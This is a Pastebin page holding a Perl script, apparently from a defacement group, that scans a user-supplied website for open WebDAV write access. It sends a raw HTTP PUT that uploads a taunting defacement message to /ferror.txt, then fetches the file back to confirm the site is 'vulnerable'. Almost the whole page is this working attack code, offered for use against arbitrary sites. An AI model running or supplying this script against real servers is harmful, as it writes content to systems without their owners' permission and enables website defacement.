Advertisement
Kyfx

WEBDAV Uploader script in pearl

Mar 27th, 2015
484
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.01 KB | None | 0 0
  1. #/!/usr/bin/perl
  2. ##################################################################
  3. #KYFX ^_^
  4. #
  5. # By Kyfx - 2013 ©
  6. # Made in UK
  7. # Greetz to all
  8. # Twitter: @Kyfxsec
  9. # Kyfxsec [ Game Since 2011 ]
  10. #
  11. ##################################################################
  12.  
  13.  
  14. use HTTP::Request;
  15. use LWP::UserAgent;
  16. use IO::Socket::INET;
  17. use Term::ANSIColor;
  18. my $ua = LWP::UserAgent->new();
  19. $ua ->timeout(15);
  20.  
  21. $deface='Fatal Error ownz you ! By Sup3rm4n GreetZ : w4n73d & s4r4d0 & Elemento_pcx !';
  22.  
  23. print color("green"),
  24. q{ _____ _ _ _____
  25. | ___|_ _| |_ __ _| | | ____|_ __ _ __ ___ _ __
  26.  
  27. ====================================================
  28. # WEBDAV Subdir Upload 0.1
  29. # By Kyfx - 2013 ©
  30. # Made in UK
  31. # Greez to all
  32. # Kyfxsec [ Game Since 2011 ]
  33. ====================================================
  34.  
  35. Digital a url target site
  36. };
  37. print " -->> ";
  38.  
  39. $site =<STDIN>;
  40. chomp($site);
  41.  
  42. if($site =~/http:\/\//){ substr($site, 0, 7) ="";}
  43. $sock = IO::Socket::INET->new(PeerAddr => "$site", PeerPort => 80, Proto => "tcp", Timeout => 8) or exit;
  44. print $sock "PUT /ferror.txt HTTP/1.1\n";
  45. print $sock "Accept: */*\r\n";
  46. print $sock "Accept-Language: en-us;q=0.5\r\n";
  47. print $sock "Translate: f\r\n";
  48. print $sock "Connection: Keep-Alive\r\n";
  49. print $sock "User-Agent: Microsoft Data Access Internet Publishing Provider DAV 1.1\r\n";
  50. print $sock "Host: $site\r\n";
  51. $length=length("$deface");
  52. print $sock "Content-Length: $length\r\n";
  53. print $sock "\r\n";
  54. print $sock "$deface\r\n";
  55. close($sock);
  56.  
  57. my $lol = "http://".$site if ($site !~ m/http:\/\//);
  58. my $test .= $lol."/ferror.txt";
  59. my $request = HTTP::Request -> new (GET => $test);
  60. my $resposta = $ua -> request ( $request );
  61.  
  62. if( $resposta -> content =~ /$deface/ )
  63. {
  64.  
  65. print "\n Site Vulnerável --> $site/ferror.txt\n\n";
  66.  
  67. }
  68.  
  69.  
  70. else {
  71. print "\n\n O site $site não está vulnerável. \n\n" ;
  72. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement